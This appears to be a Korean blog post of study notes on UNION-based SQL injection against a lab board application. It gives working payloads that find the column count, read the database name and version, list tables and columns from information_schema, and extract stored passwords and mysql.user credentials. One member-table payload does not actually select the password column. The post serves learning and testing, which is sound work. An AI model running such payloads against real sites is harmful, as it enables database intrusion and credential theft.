kjh00n의 기록저장소
Non Blind SQL Injection 공격 기법 및 데이터베이스 정보 추출 본문
[정의]
[UNION]
• UNION
- 두 개의 테이블 결과값을 하나의 테이블에 출력하는 DML
• UNION 조건
- 각 테이블에서 반환하는 열의 개수가 같아야 함
- 합쳐지는 각 열의 자료형이 같아야 함
- My-SQL은 자동 형 변환이 되기 때문에 일치하지 않아도 됨
• Union을 이용한 데이터 추출
- 기존 SELECT 문의 출력에 공격자가 원하는 데이터를 합쳐 출력해낼 수 있음
- 기존 SELECT 쿼리 문 UNION 공격자가 작성한 SELECT 쿼리 문
- 열의 수를 조작하여 정상 SQL Query 문이 반환하는 열의 개수 확인
- 조회 결과가 화면에 출력되는 경우 출력 위치 확인
- 공격자가 원하는 데이터가 화면에 출력되도록 하여 데이터 확인
[Database Schema]
[SQL Injection 유용한 문법]
[공격을 통한 데이터 추출]
[UNION 사용]
[컬럼의 갯수 파악]
홈페이지의 게시글을 조회할 때 SQL문이 사용되서 출력되지만 Hacker는 이 SQL문을 확인해볼 수 없다.
게시글 조회 SQL문은 Server에 있기 때문이다.
해커가 유추해볼 수 있음↓ SELECT 컬럼, 컬럼, 컬럼, 컬럼, 컬럼, 컬럼... FROM 게시판테이블 WHERE 게시글번호=4 UNION SELECT 1,2,3,4...; |
http://192.168.50.50/board/board_view.php?num=40인 게시글에 union select 1,2,3,4,5,6,7,8,9,10,11 #을 추가로 입력↓ http://192.168.50.50/board/board_view.php?num=40%20union%20select%201,2,3,4,5,6,7,8,9,10,11%20# 라고 해커가 URL에 입력함(40번 게시글에 union select 1,2,3,4,5,6,7,8,9,10,11 #을 추가해서 입력함) |
Hacker는 게시글을 출력하는 SELECT문의 컬럼 수가 11개인 것을 얻을 수 있다.
UNION은 양쪽 SELECT문의 컬럼 수가 동일해야 정상 출력되고 동일하지 않으면 출력 실패한다
[컬럼의 순서 확인]
조건이 거짓인 SELECT문은 조회되지 않는다.
이를 통해 2개의 SELECT문은 별개로 동작한다는 것을 알 수 있다.
http://192.168.50.50/board/board_view.php?num=2 -1 union select 1,2,3,4,5,6,7,8,9,10,11 # 으로 입력 http://192.168.50.50/board/board_view.php?num=2%20-1%20union%20select%201,2,3,4,5,6,7,8,9,10,11%20# |
-1을 붙인 이유는 앞쪽 SELECT문의 조건(WHERE)을 거짓으로 만들기 위함
→ 1번은 모름, 2번은 이름, 3번은 모름, 4번은 이메일, 5번은 제목, 6번은 내용, 7번은 모름, 8번은 조회,9는 파일이름,
10은 파일크기, 11은 등록일 이라는 정보를 파악할 수 있음
[ORDER BY 사용]
이 방식이 앞에서 알려준 방식보다 시간도 절약되고 더 좋다.
http://192.168.50.50/board/board_view.php?num=2 에다가 order by 1 #을 붙여서 입력
출력이 되네? 그러면 order by 12 #으로 하면 게시글 출력이 안됨
그럼 order by 11 #으로 하니까 출력이 되네?
→ 이 게시글의 컬럼 수는 11개라는 것을 알아낼 수 있었다.
[Database Schema]
[DB명 알아내기]
[공격코드]
-1 union select 1,2,3,4,database(),version(),7,8,9,10,11 # |
DBMS= mariadb 10.5.22 DB = WebTest 라는 정보를 Hacker가 알아냈다 (중요한 정보가 털림) |
● DB에서 원하는 데이터를 조회하려면 어떤 정보를 알아야 조회가 가능할까?
→ DB명, Table명, Column명
● information_schema에서 원하는 DB의 Table명을 알아내는 SQL문
SELECT table_name FROM information_schema.tables WHERE table_schema = 'WebTest'; |
Table의 정보가 저장된 Table → information_schema.tables tables에서 Table 이름이 저장된 컬럼 → table_name tables에서 DB의 이름이 저장된 컬럼 → table_schema |
[Table명 알아내기]
http://192.168.50.50/board/board_view.php?num=2 뒤에 아래 조건들을 추가로 적으면 된다. |
[공격코드]
-1 union select 1,2,3,4,table_schema,table_name,7,8,9,10,11 from information_schema.tables where table_schema='WebTest' # |
-1 union select 1,2,3,4,table_schema,table_name,7,8,9,10,11 from information_schema.tables where table_schema='WebTest' limit 1,1 # |
추가적으로 WebTest말고 다른 DB를 조회하고 싶다면? |
[SQL] → SELECT table_schema FROM information_schema.tables limit 0,1; = information_schema → SELECT table_schema FROM information_schema.tables limit 1,1; = mysql → SELECT table_schema FROM information_schema.tables limit 2,1; = performance_schema → SELECT table_schema FROM information_schema.tables limit 3,1; = WebTest |
[공격코드] -1 union select 1,2,3,4,5,table_schema,7,8,9,10,11 from information_schema.tables limit 0,1 # -1 union select 1,2,3,4,5,table_schema,7,8,9,10,11 from information_schema.tables limit 1,1 # -1 union select 1,2,3,4,5,table_schema,7,8,9,10,11 from information_schema.tables limit 2,1 # -1 union select 1,2,3,4,5,table_schema,7,8,9,10,11 from information_schema.tables limit 3,1 # |
[Column명 알아내기]
Column명 조회하는 SQL문
SELECT column_name FROM information_schema.columns WHERE table_name='board'; |
Column명이 저장된 Table → information_schema.columns 저장된 Column의 이름 컬럼명 → column_name |
[공격코드]
-1 union select 1,2,3,4,5,column_name,7,8,9,10,11 from information_schema.columns where table_name='board' # |
[공격코드]
-1 union select 1,2,3,4,5,column_name,7,8,9,10,11 from information_schema.columns where table_name='board' limit 1,1# |
[SQL문]
select strPassword from WebTest.board where strNumber=4; |
[공격코드]
-1 union select 1,2,3,4,5,strPassword,7,8,9,10,11 from WebTest.board where strNumber=4 # |
[SQL문]
select u_pw from WebTest.member where u_id='root'; |
[공격코드]
-1 union select 1,2,3,4,5,6,7,8,9,10,11 from WebTest.member where u_id='root' # |
[번외]
MariaDB에서 계정의 정보 조회 SQL문은?
SELECT user,host,password FROM mysql.user; |
[공격코드]
-1 union select 1,2,3,user,host,password,7,8,9,10,11 from mysql.user # |
-1 union select 1,2,3,user,host,password,7,8,9,10,11 from mysql.user limit 1,1 # |
'어플리케이션 보안 운영' 카테고리의 다른 글
Blind SQL Injection (0) | 2025.01.09 |
---|---|
SQL Injection (1) | 2025.01.08 |
CSRF (0) | 2025.01.07 |
XSS 보안 및 우회 (0) | 2025.01.07 |
XSS (0) | 2025.01.06 |